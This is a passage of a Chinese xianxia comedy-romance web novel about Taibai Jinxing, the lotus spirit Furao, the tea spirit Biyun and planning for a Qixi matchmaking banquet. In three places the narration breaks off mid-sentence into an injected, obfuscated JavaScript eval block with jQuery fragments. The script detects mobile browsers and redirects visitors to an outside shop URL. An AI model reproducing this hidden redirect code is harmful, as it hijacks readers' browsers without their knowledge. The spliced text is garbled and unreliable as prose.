苍容硬是让他回忆丢莲子的地方,还亲自去看了,哪是什么风水宝地,莲子被丢到这种地方,他都没脸跟太白金星说。
但没脸说也得说,这是他的原则,有始有终。他去启明殿请罪,说辜负了李仙师的一番好意,且那颗玉化的莲子,他实在是找不到了,愿受则罚。李长庚收了地皇一兜子灵丹妙药,自然这事也就这么了了。但有一天他外出办事,路过元修洒莲子的地方,心血来潮还真下去看了看,收获了一棵明星绿茶。
此刻李长庚看着眼前叫做芙瑶的轻灵少女,她这超凡脱俗的气韵,以及他所见过的无出其右的颜值,他心下一动,她可是一株莲花啊,他觉得应该将她带回去。
他一撩佛尘说:“看你天资灵秀,跟我回启明殿吧,或许另有一番机缘。”
“不去。”芙瑶一笑,望向一旁的碧云说:“她在哪儿我便在哪儿。”
李长庚看了眼碧云,对芙瑶说:“碧云她身负贡茶重任,唯有在此处才能保证茶叶的质量。眼下与你可是大好的机缘,错过可没有第二次了!”
他这后半句故意带上了一抹愠意,想让眼前这小花精有所警觉,别不识好歹。
可芙瑶仍旧一脸漫不经心:“她去我便去!”
“哼!”李长庚一甩拂尘生气了,这小荷花精和小茶树精的认知,真是天壤之别!
见太白金星生气了,碧云凑到芙瑶跟前劝道:“要不,你先去看看,倘若想我,抽空回来看我便是。”
芙瑶打量着她的神色说:“你这是真心话?”
碧云看了眼李长庚,讪笑道:“自然,无比真心!你先去,倘若有好机缘再召我也不迟。”
芙瑶笑了笑,朝李长庚走近两步,李长庚只觉得一阵幽微的清香钻入鼻息,便听芙瑶说:“此一时彼一时,李仙师不妨将我俩一同带回,且看看茶叶质量再说?”
此一时彼一时吗?李长庚环顾四周,除了那刺鼻的臭气被阵阵清香取代,倒也未见不同。茶叶质量到底是与土质有关,还是与此地的风气有关,却不得而知。
他盯了芙瑶片刻,琢磨着这小花精是一定要带走的,横竖那贡茶还存了一些,那就赌一把,大不了再把碧云挪回来。于是说道:“且试一遭,若是茶味不对,还是要送回来的!”
见李长庚松口,碧云开心坏了,那启明殿的小茶园她可是日思夜想,那里灵气氤氲,待上一日,顶在这里修行一年的!她对李长庚连连道谢,又抱着芙瑶猛亲了一口,看得老头眉头皱了皱,芙瑶也不大习惯地抹了抹脸。
小茶园是启明殿后方的一小片园子,而小池塘却在启明殿内,碧云没法离开本体太远,只能是芙瑶每日悠闲地踱出殿去陪她解闷儿。于是乎没过几日,太白金星藏了一个美娇娥的事便在天庭传开了,最先打听上门来的,是大司命东华帝君掌管的户籍部。
来的是司命府的北斗司命君。司命府还是天庭的情报机关,负责处理情报的是五斗星君,北斗司命君正是五斗星君之首。
李长庚一看负责探查情报、执掌三界生死的找来了,已猜到是因为他府上平白多出来的那位,她也实在是太扎眼了,天姿卓然而又不懂藏锋。
小童一通报,李长庚就迎了出去,来者身披绯衣,头戴红冠,脚踏朱履,威严肃穆,正是北斗第五丹元廉贞星君。
李长庚拱手笑道:“廉贞星君真是稀客呀,快请进快请进!”
廉贞星君还礼,说道:“长庚兄近来可是很风光啊!”
他这话说的不阴不阳,李长庚装作听不懂的样子,问道:“廉贞兄这话何意?”
廉贞星君望着对面这张懵懂中又带了丝狡黠的脸,说道:“要说天庭十二部的要员,尤属你这办公室主任备受瞩目,去年那净坛使给你送礼你没收,纪检部三元九府那些老干部们,就浩浩荡荡搞起了仙风廉政建设,今年你要莲子,上清天医院就紧着发了批文。近来贵府又成为了焦点,府上惊现神颜,连天王殿都在猜其来历和意图,金星您老给个明示吧,我这也好交差。”
这话说得露骨,李长庚不知道廉贞星君哪来得火气,再打马虎眼就显得不讲究了。他先是比了个里面请的手势,边走边说:“廉贞星君这话严重了,那三元九府纠察风纪是职责所在,天医院也是依着天时五行做事,实在与我启明殿没什么干系。至于您说得那位姑娘……”他呵呵一笑,“大伙实在是想多了,她不过是我府上碧云
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727691|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
茶树的一位朋友,名叫芙瑶。碧云嫌天上闷,特邀芙瑶来作伴,你知道的,这明星绿茶如今炙手可热,我这也是无奈,就先依了她。”
廉贞星君说:“就这么简单?”
李长庚一脸庄严:“真就如此!”
说话间两人进了殿,李长庚招呼小童:“给廉贞星君上茶,明星绿茶!”
因明星绿茶产量有限,只玉帝和三清六御等能供得少许,五方五老也只是尝过,廉贞星君一个恍惚,小童已经捧着茶献了上来,那茶香丝丝缕缕钻进廉贞星君鼻息,他小心地抿了一口,回味悠长,不禁叹道:“果然非同凡响!”
李长庚捋着胡须笑道:“那碧云近日有了伴儿,心情不错,冒了几许新丫,也算是意外所得,廉贞星君不要嫌少,且带回去当做消遣吧。”
廉贞星君有些拧巴:“这……合适吗?”
李长庚打趣道:“且当作碧云带人入户,给你们户籍部的人事吧,莫要嫌少。”说着命小童取来一个巴掌大的青玉小罐,上面一行云篆:明星绿茶。
送走了廉贞星君,李长庚觉得消息都传到了天王殿,玉帝快该找他安排说法了,但没想到等了两日,等来的却是姻缘殿,来的倒不是月老那个惯爱找他喝酒的老头,而是他的主子,太阴星君。
这位娘娘尽管宝相庄严,但脸却不像廉贞星君那么臭,非但不臭,还带了些盈盈笑意,是以李长庚远远见了,心下坦然许多,看来不是找事来的,不找事那就好办,他私存的明星绿茶可不多了,要是再多几个廉贞星君,可是不够分的。
李长庚一边快步出殿相迎,一边琢磨太阴星君的来意。姻缘殿隶属于王母的民政部,这位太阴娘娘主管因缘,八成还是冲着芙瑶来的。抛开跟月老喝酒,在公务上姻缘殿与启明殿的交集实在不多,此次她亲自出马,这事多半得慎重。
离着十来步,李长庚便开始揖手施礼:“太阴星君大驾光临,快里面请!”
太阴娘娘一笑,像是哪府慈爱的老母亲:“客气什么,你我虽少有往来,但启明殿和姻缘殿关系深厚,我那儿还有瓶好酒,回头我让月老给你带来!”
李长庚心想真会说话,你怎么这次不带呢?见她如唠家常,李长庚也不客气,一边往里迎,一边说:“月姑啊,您今日亲自到府,想必不是小事吧?有什么吩咐您直说,咱老李能办的办,不能办的,想法也给它办了!”
太阴娘娘呵呵一笑:“长庚你可真会说话!对了,听说你府上住了位叫做芙瑶的姑娘,是碧云的朋友对吧?”
李长庚想,果然是为了她来的。嘴上答道:“是,这不都是为了贡茶嘛。”
“能否请出来让我见见?”
她不说事,上来就要看人,李长庚摸不准她葫芦里卖的什么药,但见人也不是什么非分要求,他只好吩咐小童:“去请芙瑶姑娘来,就说姻缘殿的太阴娘娘想见她。”
芙瑶虽不似碧云世故,但他越发觉得,她心思通透是个冰雪聪明的,他把话传清楚,让她心里也有个准备。
小童应声去请了,趁这功夫,李长庚还是问道:“月姑您还是明示一下,您此番前来,所为何事啊?”
太阴星君望着李长庚精明的小眼睛,笑了笑说:“有人托我来说个亲。”
李长庚心里咯噔一下。
5. 姻缘大使
太阴星君亲自上门来说亲,李长庚没想到,但不管是为谁求的,都绝对不行!这小花精的来历还没断清,若是泛泛一颗开了灵智的莲花也就算了,要真有什么不同寻常之处,是万不能随意把她嫁了的。
事还没说清,他也不好一口回绝,问道:“月姑啊,不知道是替哪位说亲,求的是谁?”
太阴星君瞧他一脸的不自在,却还在硬撑,笑道:“求的自然是芙瑶,瞧上她的可不止一位,譬如纠察院的王灵官、四驿的马元帅……”
“等等!”李长庚忽然打断她说:“王灵官纠察就纠察,怎么看到个漂亮姑娘还上心了呢?当年天蓬调戏嫦娥、二郎神君误闯蟾宫可都是他举报的,都说他是个无欲无情的神官,怎么也这么俗?还有四驿的马元帅,八十年前不是才定了一门亲,这还没娶,怎么又求新的?”
“话也不能这么说,王灵官负责天庭巡逻,举报癫狂违规之举是职责所在,双方既未娶未嫁,如何不能相求?还有马元帅,不就因为八十年前那门亲事是被迫的才迟迟不娶,另寻合缘的……”
“那也不行!”李长庚严肃拒绝。
太阴星君也不急,慢条斯理道:“其他的还有……”
“不必了!”李长庚回绝道:“实不相瞒,我留她另有打算,却与亲事无关。也请月姑你代为和有意者说一声,就不要再提求亲这茬啦!”
“这样啊……”太阴星君语气惋惜,神色却没有被拂了面子的尴尬。
说话间一阵清幽的香气隐隐飘来,两人抬眼望去,果见殿外小童领着一位身姿轻盈的姑娘走来。
太阴星君远远望着,这姑娘一袭白衣,身姿婀娜,动如扶风,飘逸出尘。待进门来细看,她无丝毫扭捏,甚至毫不避尊上地直视过来,脸上带着笑,肤如凝脂,眸如秋水,顾盼生姿,只微微福了福身说:“太阴星君、李仙师,芙瑶有礼了!”
太阴星君脸上的笑意加深,难怪她一露面就引得各部瞩目、议论纷纷。她夸道:“亲眼见了才信所传不虚!这万年不遇的灵秀气韵,真是难得!”
芙瑶开门见山道:“星君是姻缘殿的主事,此番前来可是为求姻缘?倘若如此要恕芙瑶不敬了,不管是谁我都无此意。”
这话一说,李长庚心里彻底踏实了。就说这个小花精聪明,早知道她这么会来事,刚才他便不用把话说得那般死又那般狠的。
太阴星君并无怪罪,反而笑道:“还是个凌厉的性子。你既不愿结亲,我也不喜欢做勉强的事,这事就再不提了。”她说完看了眼李长庚,老头脸色美好了许多。
太阴星君却面露为难之色,说道:“可是我如今却面临一桩难事。近年来成亲率逐年下降,那马元帅定了亲的都不想娶,更多的却是连定亲的意思都没有。我殿里和合二仙已经闲了许久,白拿俸禄,连月老都开始研究祭炼能绑仙家的红绳了。这还不是最要命的,最要紧的是我背的那个成亲率的OKR,直接对齐西王母,眼看这个季度过了一大半,完成率还不足三成,这让我review如何写呀,真是愁死个神!”
芙瑶跟李长庚对视一眼,李长庚开解道:“月姑你也不用太急,眼下大势如此,譬如那王灵官,眼界比地位还高,寻常的也看不上,那马元帅倒是稀里糊涂定了门亲,可要成亲女方还挑剔他的帅府不够气派,还有如今三界索要定亲礼,没点家当的也是当真娶不起,这都是客观事实,你也可以如实复盘嘛。咱们当差的主要还是看个诚肯实干,定量的凑不够,那就定性地往好处写,多写写你为完成目标所做的努力嘛!”
太阴星君听他明为开解她,实则当着芙瑶的面,又把王灵官和马元帅贬损一番,心想这个李老头还真是老奸巨猾!但如今有求与他们,也只能装作不介意,顺着他的话头说道:“我也是这么想的,虽说大势如此,还是要尽力争取。所以我已向王母递交了策划案,今年七夕打算在瑶池开宴,三界未曾婚配的男仙女仙,不论出身、不论品阶,都可报名参加,到时掩面出席,撞一撞姻缘。”
这案子听着新鲜,但李长庚总觉得透着点不靠谱。他问道:“王母同意了?”
太阴星君十分得意:“王母已然应允,她说天庭一年里也难得热闹几次,借这个机会,也可以让各府各院、各山各脉的仙家们走动走动,是个好事。”
李长庚也笑了:“撞姻缘么,是个好想法,看来你这OKR要超额完成啦,恭喜月姑!”
他忽然想起上一个撞天婚的天蓬元帅,最后被吊了一夜。
但太阴星君却又面露难色说:“其实我也知晓,这案子热闹归热闹,后患还是有的,譬如风雅的撞上白丁,高贵地撞上低贱,痴情的撞上滥情,或难免惹出来几出闹剧。为解这个问题,一来我已严格限定了报名条件,二来细化了游戏规则,三是明确了免责条款——这个主要是维护天庭颜面,也让来玩得人对自己和别人更负责一些。未尽安排也在细化中,尽量不出纰漏。不过这都是后话,有个前提还没有好的解法。”
李长庚已然猜到了她说的前提:“可是少个足够的噱头吸引报名么?”
“正是呢!”太阴星君一拍手,显得很兴奋,“不亏是玉帝倚重的帮手,一眼看透关键!”
李长庚说:“这有何难,老君的金丹、王母的赏赐、甚至瑶池的入场券都是诱人的礼遇……”
太阴星君打断他说:“不不,这些虽说也是,但毕竟和活动的主题不大相干,太普通了些,我是有个不情之请,想请两位帮忙。”
李长庚警觉起来:“你要怎么帮?”
太阴星君有些不好意思:“归根到底这也是为了完成王母的OKR,我原想能直接促成一桩因缘,既然芙瑶姑娘无意,那能否聘请芙瑶姑娘做个姻缘大使,出席一下七夕宴?”
话到此处,李长庚才反应过来,这个太阴星君,说不定一早就是为这个事来的,扯了半天结亲不过是个幌子,他们既已拒绝了她一次,自然不合适再拒绝一次!他平日自诩谨慎,怎么刚反应过来!
他稍一迟疑,太阴星君立刻说:“倒也不用芙瑶姑娘具体做什么,就只念几句倡导姻缘向善的词,请苍容用五行玄光镜录段影像,这个我已与三圣皇打过招呼,再请我文书院里的执笔画个小像,四下一宣传,这氛围就有了。这活动办好了,说不定这订婚率、成亲率也就上来了,咱们做臣子的,也算是忠于主子之事了!这个要求,不算过分吧,芙瑶姑娘?”
李长庚心说果然是有备而来的,连三圣皇那都跑过了,打着忠君侍主的旗号,哪个好意思拒绝?他看向芙瑶,芙瑶也正望着他。他说:“这个还是要看芙瑶姑娘自己的意思。”
他这是同意了。芙瑶笑道:“听起来倒是有趣,乐意效劳。”
一看这事成了,太阴星君满脸高兴:“那太好了,我先谢过两位!我这就回去安排,等筹备好了再来请姑娘。”
李长庚不嫌事大,索性说道:“既是姻缘大使,一双最好,女仙有了,是不是再有个男仙?”
“对对!还是金星你想得周到。”太阴星君激动了一下,不过很快又显得丧气:“男仙我一时想不出来合适的,要样貌能搭得上芙瑶姑娘的已是太难找,时下女仙们大多又慕强,地位和修为高又单身的不说少,即便有怕也请不来,真是难啊!”
李长庚眼里闪过一丝狡黠,笑道:”我有两个推荐,一个正是三圣皇座下的小弟子苍容,样貌也算万里挑一的,在他这个年纪修为已经算高了,主要三圣皇的背景够硬。还有一个嘛,条件倒是更合适,只是能不能请来不大好讲。“
太阴星君好奇道:“是谁?”
李长庚捋着长须说:“前几日在老君府上做客的元修!”
“他呀……”太阴星君脑子里浮现出那个有着绝世俊颜、死硬背景、极高修为却玩世不恭、极不靠谱的形象,摇了摇头说:“他不行,他我甚至都不敢请!金星你想想,万一他在我七夕会上一时兴起,干出点什么出格的事来,我打又打不过,骂又骂不得,告状吧他那师公又是个极其护短的,不能请,绝对不能请!”
李长庚没怂恿成,悻悻地说:“反正还有时间,那就再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727692|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挑挑!”
送走了太阴星君,李长庚心里有点堵。他引芙瑶上天来还没获得什么眉目,却让姻缘殿先沾了个便宜。
未免再惹无谓的麻烦,他只能嘱咐芙瑶道:“你近来忒有些扎眼,日后出入谨慎些吧。”
“怎么才算谨慎?”芙瑶反问。
他想了想也是,等到太阴星君那姻缘大使的小像到处一发,再怎么谨慎怕也没用了,到时候还会惹来什么麻烦,也实在是说不定。
芙瑶见他沉思不语,问道:“我在这里,可是让李仙师为难?”
李长庚看着她,这姑娘聪明归聪明,但藏锋的道理完全不懂,为人处世也不够圆融。虽说颜值即正义,因着她这非凡气韵,即便有所不恭,大多也都不与她计较。但王灵官、马元帅这种还好打发,倘若位阶再高一些的来了……但凡她还在他府上,这麻烦他就可能躲不掉。
他说道:“倒也算不上为难,但你一个姑娘家长居启明殿,确有不妥,你容我想想,为你寻一所佳苑。”
芙瑶也不推辞:“那有劳李仙师了!”
对芙瑶来说,其实住在哪里都无所谓,她的好奇心不重,自来了天庭这些时日,最多就是出了启明殿往后走到小茶园,再远的地方也没去过。但这一路上有个三岔口,时常会遇到巡逻的天兵和办事的仙娥,她那日便是在路口被路过的王灵官撞见。
王灵官看她眼生,但这模样却是入了心。他问她是谁,哪府上的,她便一一作答。王灵官回去后明的暗的一通打听,一向无欲无情的王灵官这一打听不要紧,消息传得五花八门,终于惊动了司命府——不管哪路神仙上天总得报备,情报处的廉贞星君却毫不知情,自然免不了挨训。
廉贞星君上门寻晦气这事,芙瑶听奉茶的小童吐槽过,也得知自己在启明殿进进出出有些扎眼,所以李长庚的心思她也能揣摩个一二。
见没事了,芙瑶悠哉悠哉地又去找碧云。其实碧云再回天庭,大部分时间都在打坐修行,李长庚给了她一本修行秘法,她对着书搬运大小周天,比以前大有进步,说不定再多些时日,她就能脱离本体,到处周游了。
芙瑶每天来找她,初时只是坐在旁边陪着,看着仙役们在茶园浇水施肥,偶尔也跟他们唠上几句。时间长了便熟识了。有个小仙人见她无聊,会隔三差五给她带些话本子,芙瑶就在茶树旁的石墩上坐了看,顺便等碧云打坐完出来见她。
太阴星君来了,芙瑶是被小童从茶园里叫走的,再回来时,碧云刚好搬运完一个小周天,正跟小仙役们聊天。她是这茶园里唯一一株修出灵体的,又是炙手可热的明星绿茶,仙役们对她最是关照,生怕茶叶质量不好了怪罪到自己头上。
庆幸的是碧云这次回来,茶叶质量并未见差,她见了芙瑶,像突然开悟般说:“你说有没有可能,我长得好不好跟你有关,你在的地方,我就没问题!”
芙瑶点了点她的巧嘴,笑道:“放心,我不会丢下你。”
碧云开心了,转而问道:“那太阴娘娘找你何事?”
芙瑶说:“她想让我当她们的姻缘大使,大概就是劝人结缘吧,我看李仙师不反对便同意了。”
碧云说:“这个我知道,我们那个时代常有,什么品牌大使、公益大使,名目可多了!对了,他们给你多少代言费?”
“代言费?”芙瑶开始没懂,但随即反应过来道:“是给我什么好处吧,这个我忘了提。”
碧云觉得亏,说道:“你不知道,我们那的明星代言费老贵了!随随便便露个脸,够我们农科院的老专家挣十年的!你下次见了那太阴娘娘,一定要提,不能让他们得了便宜还卖乖。”
芙瑶说:“好。她还说要办七夕会,请单身的男仙、女仙们去撞一撞姻缘。”
碧云眼睛亮了:“相亲吗?我也想去!”
芙瑶打趣她:“你也想去找个小郎君吗?”
碧云有些娇羞:“看看热闹吗,我终日打坐修行也怪闷的。”
芙瑶想了想说:“我帮你!放心,一定让你如愿!”
6. 天禧琴音
有句话叫做花花轿子众人抬,仙界这场七夕会的安排,实在是这话的精髓体现。
主办方自然是王母民政部的姻缘殿,协办方里,其余十一部一个都没落下!芙瑶和苍容作为因缘大使,秘书部和卫生部的天医院得挂上名头。办这活动少不得得有一大笔预算,长生大帝特别嘱咐赵公明把钱留足,所以他这财政部必须得排前面;手握地府生死簿和南斗生死簿这俩地界和仙界户口本的司命府,负责了七夕会报名者的资格审查,东华帝君的户籍部得榜上有名。
李靖从五营兵马司抽调了精锐维护会场秩序,他的国防部也得有名;真武大帝座下的王灵官拉着三元九府的半退休老干部们,承担了本次活动的仙风仙迹纠察,所以公安部、纪检部也得上榜;司法部的二郎神君跟他们抱一块,声称但凡有不轨者必严审严判!
四驿的马元帅十分热衷这场盛会,对于不便参会的贵客,安排了专职车马接送,交通部必得在榜。雷部和斗部实在没有太直接的干系,但联欢嘛,必得是个黄道吉日,确保天清气朗、风调雨顺,这正是雷部、斗部职责,所以得一并带上!
赞助方就更多了,披香殿供了大会的餐饮,织女上了一批高定礼服,老君府提供了仙丹,镇元子送来了人参果,对于求偶失败的参与者,灵山还送来了一日畅游券,不过太阴星君总觉得那老和尚这么干有点引流嫌疑,动机不纯!她自己倒是诚实十足,声称对求偶失败者提供一年优先择偶会员权益,喜牵手的还有合和大礼包相送!
大家共襄盛举,同进退共荣辱,太阴星君觉得,这才是大会成功的关键和保障。
各府领了任务自去安排,姻缘殿居中统筹,按部就班倒也顺利。
芙瑶画完了像,拿着一兜子“代言费”的仙丹去找碧云,一颗一颗点给她看:“这颗绿的,是蟾宫的玉桂丸,能美容养颜;这颗黑的,是天医院的清明散,到时候喝酒不醉的;这颗彩色的,是姻缘殿特制的和合丹,说是若寻得如意郎君,它能让你们蜜里调油、幸福美满……”
碧云没听她数完,就觉得她是又被忽悠了,拎了一兜子不值钱的东西来,有些无奈地说:“他们就没给你点硬货?能提升个修为什么的?”
“有的!”芙瑶扒拉了一下,挑出一颗白色的:“这颗,是地皇炼制的三清丸,据说能大幅提升修为;还这颗红色的最厉害,是老君的九转仙丹,蟾宫的仙子告诉我,她当年能上天,就是吃了这个!”
碧云两眼放光,刚要下手接过来,又犹豫了:“这九转仙丹,就一颗吗?”
“说是老君产量不行,这东西限量,但也许是……哦饥饿营销,你需要几颗,我可以再问问看?”
碧云说:“我吃了,你就没有了。”
原来是担心这个,芙瑶笑着塞到她手里:“我不要,我现在就挺好。”
老君的九转仙丹不愧是圣品,碧云吃完一个激灵,觉得浑身经脉尽通,灵台无比清明,身体飘飘然、轻灵灵,似乎沉浸在一片祥和自由的境界中,周身金光渐盛,就连不远处的本体茶树都立时多冒了几个枝丫出来!
待到气息调匀,碧云抱着芙瑶又哭又笑,她之前不过就是个神识出窍,既无修为也无法力,连脱离本体多走几步都不行,空有个仙籍也没什么用,现在不一样了,她是真正的小仙子了!她对芙瑶感激涕零,发誓一丹之恩,涌泉相报!
情绪平复之后,碧云问起她去姻缘殿画像的事,芙瑶说:“他们殿里此前闲了太久,突然忙起来好似有诸多不适应,那文书院的画师是个老头,中间没墨了,光翻找就用了一炷香的时间,我站得身体都要僵了,足足花了两个时辰才完,还是那五行玄光镜更好玩一些,我只需对着那镜子念上几句词便好,也不过就是一柱香的功夫!”
碧云好奇:“你那小像和那玄光镜录的影像在哪,能不能让我先看看?”
“现在还没有,说是还要做个后期什么的。”继而芙瑶眉眼一弯,笑道:“不过那个苍容我替你看了,英姿伟岸,品行高洁,很是不错!”
芙瑶自上天以来遇见的男仙有几种,一种是见到她眼睛都要直了的,再有虽不直视却浑身透着不自在的,这两类居多,也有个别猥琐偷窥的,反正都不够自然,色心过重。这个苍容就很从容,至少面上看,他对她和旁人并无不同,都是温和有礼,行止有度,不愧是三圣皇调教出来的小弟子。所以她觉得碧云若要寻个小郎君,这个苍容就不错,仙品、修为、家世,样样都好!
对于苍容,碧云也是听仙役们聊过的,她们对他多有仰慕。这位小仙君自然是好的,只是碧云有自知之明,她一棵无根无源的小茶树,凭什么就能入苍容的眼?所以她笑笑说:“那种的我高攀不上,只要品性好,其他的我倒是不强求。”
碧云能离体后便想走走看看,她来天上这许久,除了启明殿和小茶园,庞的地方都没去过呢。但这天庭规矩森严,随意走动好像也不妥。但芙瑶说:“我们可以晚间转转,远离那些高门大院的府邸,应该也不打紧,就算是被撞见了又如何,我们又不是来坐牢的,你还是有身份的明星绿茶呢!”
碧云想想蛮有道理,所以还挺期待。
---
苍容是个追求完美的性子,为了让宣传效果最佳,他对玄光镜里芙瑶的影像进行了调色、剪辑、加特效,还加了点仙乐,折腾了一个下午才算勉强满意。之所以觉得勉强,是因为这玄光镜自打被元修送回来后,他总觉得有些不大好使,录出来的画质好像差了些,但也只是他这个炼制者能看得出来,他原想修一修,还没来得及,就接了这么个活儿。
他把这小片又重头放了一遍,自觉应该不辜负太阴星君的期待,这才收拾好一切,打算歇歇,但脑子里一时又有些不平静。可能是片子反反复复看了太多遍,芙瑶的脸一直在他眼前晃悠。
他又想起上午初见她时,她被天喜星君引着从文书院过来,在天喜星君高大的身姿下,她显得轻灵娇小,待到走近了,微微俯身说了声:“有劳苍容仙君
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727693|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”再抬头,好一副动人容颜!他虽未动声色,但心里却被狠狠撞了一下。
此时天色已暗,他这地方毗邻天禧园,药植郁郁葱葱,各色仙植神树围出了一座清幽僻静的园子。他漫无目的地溜达出去,那园中亭间有尾古琴,是天皇伏羲早年所有,以玉石和天蚕丝所制,泛着柔和的光芒。他想起幼时天皇为他上的第一课,并不是深奥的天道、八卦这些,而是为他弹了一首曲子。那琴声空灵、悠远,好像黎明前的雨滴敲开宁静的湖面,又似万古空山,皓月长明。他一时间思绪全无,一曲终了仍在发怔。
天皇当时用的便是这尾古琴,自那时起这琴便送给了他。只是他大些了才知晓,这把伏羲琴的玄妙之音,既可轻灵委婉净化心神,亦可气势雄浑破魔千里,在远古曾名震一时。而他初听的那首曲子,叫做《玄元曲》。
他想着,空灵的琴音已经从他指尖飘了出来,飘飘渺渺,深邃悠远。
散步闲逛的芙瑶忽然顿足,琴声时有时无,她想听得再仔细些。碧云正嬉笑着,见她失神,问道:“怎么了?”
芙瑶说:“碧云你听这琴声,是在哪里?”
碧云凝神细听,确实有道若隐若现的琴音,她此前竟没听到,不禁佩服起芙瑶的敏感。俩人顺着琴音找,不知不觉就踏进了天禧园,琴音是听清了,但遗憾的是主人似乎却不再弹了。
碧云有些沮丧:“听众来了,它倒停了,这怎么找?”
芙瑶却笑道:“因缘起,因缘灭,本就是随兴而走,听到了是缘分,听不到是缘尽,也不必太执着。不过既然来了,逛逛吧。”
碧云不理解:“药植园有什么好逛的?”这种园子不是用来消遣游玩的,自然没什么可期待。
芙瑶说:“李仙师的小茶园都有仙役看守,地皇这天禧园灵根妙植无数却空寂无人,为何?”
一句话问的碧云有些懵,她想说谁会没事来这儿偷药材,要什么看守?但又觉得那小茶园也没什么值得惦记的。她不明白芙瑶问这话的目的,反问道:“你说为何?”
芙瑶说:“从我们进园到这里,走了不少弯路,这园子的线路是有门道的,我们被困在这里了。”
所以只能逛逛……碧云圆睁了双眸左看右看,确实已经辨不出来路,不得不心塞地承认,这园子确实不用看守。
她俩凭感觉又走了一段路,令人惊喜的是,那琴声又响了起来,这无异于一道指引,七拐八拐,竟看到了一座古朴的小亭子,亭中坐了个穿月白衣衫的少年正在抚琴,那动人心弦的琴音正是从他指尖流出。
芙瑶觉得这琴音她似乎听过,什么时候,在哪里,却已是想不起来了。
碧云望着那亭中少年,听着琴音似从心尖上划过,已经有些失神。
芙瑶悄然握住了她的手,听到那少年清冷的声音传来:“闯进天禧园所为何事?”
他抬起头,便撞上了芙瑶笑盈盈的目光,心下一动,竟然是她!
她竟不受琴音蛊惑!
7. 不请自来
琴音停了,碧云渐渐回神,看到亭中的少年已不知何时站到近前。
看清他的那一刻,碧云脑子里冒出一句话,陌上人如玉,公子世无双。眼前的人便是这样一副温润如玉的样子,光华内敛。想着这是三圣皇的地盘,又想着昔日听来的评价,眼前的少年定是苍容无疑了。他正望着她,开口虽无愠意,但也并不温和:“这位仙子是?”
碧云满脸堆笑:“我叫碧云,就那个,明星绿茶!”
“久仰了。”不速之客并无危险,苍容换了一副温和的口气劝道:“天禧园里有些药植凶猛,你们以后还是不要进来了,我送你们出去。”
碧云好奇:“植物也会凶猛吗?怎么个凶法?”
她和芙瑶都算植物,还不是又乖又萌。
苍容一指几丈外的一株古藤说:“譬如它吧,叫醉魂藤,若不慎碰到,处理不及时,先是昏迷,再便是形销骨殒。”
同为植物,瞧瞧人家这攻击力,碧云打了个哆嗦说:“还真是凶险,它有什么功效?”
“解胎毒、治疗麻痹、去腐生肌都有奇效。”苍容答得认真。
出去的一路上,碧云问东问西,苍容都耐心地一一作答。
直到将出园门,芙瑶才又把话题转回了琴上:“仙君方才的琴音可有什么玄妙?听着……勾魂摄魄。”
碧云这才反应过来,她适才昏昏然八成是被琴音蛊惑了。那曲子甚是好听,但是听着听着就好像忘了自我,飘飘然不知身在何处,意识逐渐混沌。
苍容随口说道:“没什么玄妙,不过是些园里花草爱听的曲子。”
花草也爱听曲儿,这个碧云知道,她那个时代,有研究证明,给植物听音乐能促进其生长,对于一些瓜果蔬菜、粮食都有促产之效。几代科学家们玩命实验的事,想不到这里用得正好,信息差真是可怕啊。
芙瑶却知他避重就轻了。不过她也不纠结,说道:“仙君琴艺绝妙,琴音绕耳难忘,不知我们以后还有没有机会再听到。”
苍容看了她一眼,她眼里似乎有期待,倒不像一句单纯的客气之语。说起来她也算个“知音”,还跟他同为七夕会的姻缘大使,因着这层关系,他也说不出冷淡的话来,便说:“若是对这琴感兴趣,可择日相约,只是不要再夜闯了。”
芙瑶面露喜色,望了眼碧云,又趁热打铁说:“有个不情之请,不知仙君可否成全?”
“是什么?”
“七夕会将近,不知仙君能否教授我俩弹首小曲儿,有些才艺傍身也是好的。”
苍容有些迟疑,他是个挺板正的神仙,私授女仙技艺这事若是传出去,搞不好就是风言风语,但两个一起,也就……还好吧,但还是一本正经说道:“容我和师父们打个招呼,明日答复两位可好?”
芙瑶笑道:“那先谢过仙君了,今日打扰实属冒昧,先告辞了。”
她俩出了园子,溜达远了碧云才说:“好端端的要学琴,醉翁之意不在酒吧?”
芙瑶说:“为你呀,我看你跟她聊得欢畅,想着你八成是喜欢他的,就想着找机会让你们多接触接触。”
碧云被她说得面上一红:“不要消遣我啦,人家只是好奇嘛!不过这个小仙君,好是好,就只一样,太乖了。”
“怎么讲?”
碧云学着他的样子:“容我和师父打个招呼,明日答复两位可好?就这种说法,在我们那个时代里,等于说等我回家问问我妈,想不到苍容小仙君竟是个妈宝!”
